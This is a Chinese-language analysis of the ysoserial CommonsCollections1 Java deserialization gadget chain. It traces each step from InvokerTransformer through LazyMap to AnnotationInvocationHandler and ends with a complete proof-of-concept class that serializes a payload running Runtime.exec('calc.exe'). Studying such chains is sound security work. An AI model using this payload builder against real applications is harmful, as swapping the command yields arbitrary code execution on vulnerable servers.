ysoserial CommonsCollections1 分析

/*
    Gadget chain:
        ObjectInputStream.readObject()
            AnnotationInvocationHandler.readObject()
                Map(Proxy).entrySet()
                    AnnotationInvocationHandler.invoke()
                        LazyMap.get()
                            ChainedTransformer.transform()
                                ConstantTransformer.transform()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Class.getMethod()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.getRuntime()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.exec()
    Requires:
        commons-collections
 */

0、先假设Runtime类可序列化，最终要实现：

Runtime runtime = Runtime.getRuntime();
runtime.exec("calc.exe");

1、从最后一步开始，调用InvokerTransformer.transform()

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
            
    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
    }
}

transform方法实现了完整的反射，通过InvokerTransformer构造方法传入方法和参数。

所以这一步的利用链

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}).transform(runtime);

2、InvokerTransformer的transform的调用，在ChainedTransformer的transform实现。

public ChainedTransformer(Transformer[] transformers) {
　　super();
　　iTransformers = transformers;
}
public Object transform(Object object) {
　　for (int i = 0; i < iTransformers.length; i++) {
　　　　object = iTransformers[i].transform(object);
　　}
　　return object;
}

如果Transformer[]里面的对象是：

Transformer[0]：new ConstantTransformer(runtime)
Transformer[1]：invokerTransformer

第一次循环：(new ConstantTransformer(runtime)).transform() runtime对象返回给object
第二次循环：invokerTransformer.transform(runtime)

所以这一步的利用链：
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(runtime),invokerTransformer});
chainedTransformer.transform(1);

3、ChainedTransformer的transform谁来调？LazyMap的get方法存在transform调用（key不存在的时候）。

public class LazyMap
        extends AbstractMapDecorator
        implements Map, Serializable {
    public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }

    protected LazyMap(Map map, Transformer factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        }
        this.factory = factory;
    }

    private void writeObject(ObjectOutputStream out) throws IOException {
        out.defaultWriteObject();
        out.writeObject(map);
    }

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        map = (Map) in.readObject();
    }

    //-----------------------------------------------------------------------
    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }
}

通过decorate方法，修改this.factory为chainedTransformer对象，最后通过get不存在的key调用chainedTransformer的transform
所以利用链
HashMap hashMap = new HashMap();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
lazyMap.get(1);

4、lazyMap的get谁来调用？这里面用的AnnotationInvocationHandler的invoke，该方法存在某个属性的get，属性可通过构造方法改变。

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private static final long serialVersionUID = 6182022883658399397L;
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;

    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

    public Object invoke(Object proxy, Method method, Object[] args) {
        String member = method.getName();
        Class<?>[] paramTypes = method.getParameterTypes();

        // Handle Object and Annotation methods
        if (member.equals("equals") && paramTypes.length == 1 &&
            paramTypes[0] == Object.class)
            return equalsImpl(args[0]);
        if (paramTypes.length != 0)
            throw new AssertionError("Too many parameters for an annotation method");

        switch(member) {
        case "toString":
            return toStringImpl();
        case "hashCode":
            return hashCodeImpl();
        case "annotationType":
            return type;
        }

        // Handle annotation member accessors
        Object result = memberValues.get(member);

        if (result == null)
            throw new IncompleteAnnotationException(type, member);

        if (result instanceof ExceptionProxy)
            throw ((ExceptionProxy) result).generateException();

        if (result.getClass().isArray() && Array.getLength(result) != 0)
            result = cloneArray(result);

        return result;
    }

    /**
     * This method, which clones its array argument, would not be necessary
     * if Cloneable had a public clone method.
     */

因为AnnotationInvocationHandler类非public，通过反射调用
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);

InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, lazyMap);
对象初始化memberValues，得到对象handler，接下来就是让handler对象执行invoke
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);

proxyMap已经有了，那么应该怎么触发handler执行方法，来调用invoke方法
AnnotationInvocationHandler的readobject方法，存在对memberValues执行entrySet()
所以用proxyMap对象重新生成一个AnnotationInvocationHandler对象
InvocationHandler handle = (InvocationHandler) declaredConstructor.newInstance(Retention.class, proxyMap);
handle

以下是AnnotationInvocationHandler的readobject重写

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }

最后AnnotationInvocationHandler对象反序列化，执行readobject也就触发了proxyMap的invoke方法

要解决的问题：Runtime类未实现Serializable，需要使用反射调用，反射方法用什么来触发执行？

Runtime runtime = Runtime.getRuntime();
runtime.exec("calc.exe");

反射方式实现：
Class cr = Class.forName("java.lang.Runtime");
Method getRuntime = cr.getMethod("getRuntime", null);
Runtime runtime = (Runtime) getRuntimemethod.invoke(null, null);
Method execmethod = cr.getMethod("exec", String.class);
execmethod.invoke(runtimemethod,"calc.exe");

反射方法通过InvokerTransformer实现
Class cr = Class.forName("java.lang.Runtime");
Method getRuntimemethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}).transform(cr);
Runtime runtimemethod = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null, null}).transform(getRuntimemethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}).transform(runtimemethod);

ChainedTransformer中的transform正好实现了这组链的调用

public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

所以最后runtime的实现利用链：

Transformer[] transformers = {
　　new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
　　new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
　　new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformerruntime = new ChainedTransformer(transformers);
chainedTransformerruntime.transform(cr);

最终实现的利用链：

public class CC1Test3 {
    public static void main(String[] args) throws Exception {

        Class cr = Class.forName("java.lang.Runtime");

        Transformer[] transformers = {
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };
        ChainedTransformer chainedTransformerruntime = new ChainedTransformer(transformers);

        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(cr),chainedTransformerruntime});

        HashMap hashMap = new HashMap();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);

        InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, lazyMap);

        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
        InvocationHandler handle = (InvocationHandler) declaredConstructor.newInstance(Retention.class, proxyMap);

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc1.ser"));
        objectOutputStream.writeObject(handle);

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc1.ser"));
        objectInputStream.readObject();
    }
}